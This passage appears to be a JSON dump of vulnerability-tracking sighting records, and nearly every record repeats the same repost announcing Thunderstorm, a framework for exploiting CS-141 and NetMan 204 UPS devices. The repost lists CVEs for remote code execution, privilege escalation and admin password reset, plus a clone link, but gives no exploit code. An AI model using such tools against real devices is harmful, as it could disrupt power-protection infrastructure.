can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-02T01:01:22.947666Z"}, {"uuid": "9893a292-c410-4bd9-b240-27bc0e10b760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47891", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-02T01:01:22.993502Z"}, {"uuid": "b4b6917a-d4db-4bba-9925-83069ec660d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47189", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-02T01:01:23.088464Z"}, {"uuid": "c1192a1f-e8c4-4f8b-bc1e-bbc76fa83793", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47188", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-02T01:01:23.135235Z"}, {"uuid": "c20ec083-c730-4614-86dc-65fbd2c08590", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47192", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-02T01:01:23.178988Z"}, {"uuid": "7ebf626b-67d3-48da-b5b1-9b28a249dacc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47891", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-02T01:01:23.376908Z"}, {"uuid": "67be33ed-c2c8-4f0b-9830-cca0d7b6ef8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-02T01:01:23.430033Z"}, {"uuid": "bc510830-9b40-497c-937f-d6df08051b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-02T01:01:23.479121Z"}, {"uuid": "16b0af48-c0d8-4900-9b38-ebf7d097c9de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47190", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-02T01:01:23.528907Z"}, {"uuid": "2fd99091-8487-4d4f-9512-9185ca25b7dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47188", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-02T01:01:23.619198Z"}, {"uuid": "02498175-d36f-491a-b517-5090b2260125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47192", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-02T01:01:23.666975Z"}, {"uuid": "fa1f299f-f87f-44bb-948b-e723e1763923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-02T01:01:23.712698Z"}, {"uuid": "e17ef8cb-1c18-4905-afaf-549e48e8080b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47186", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be 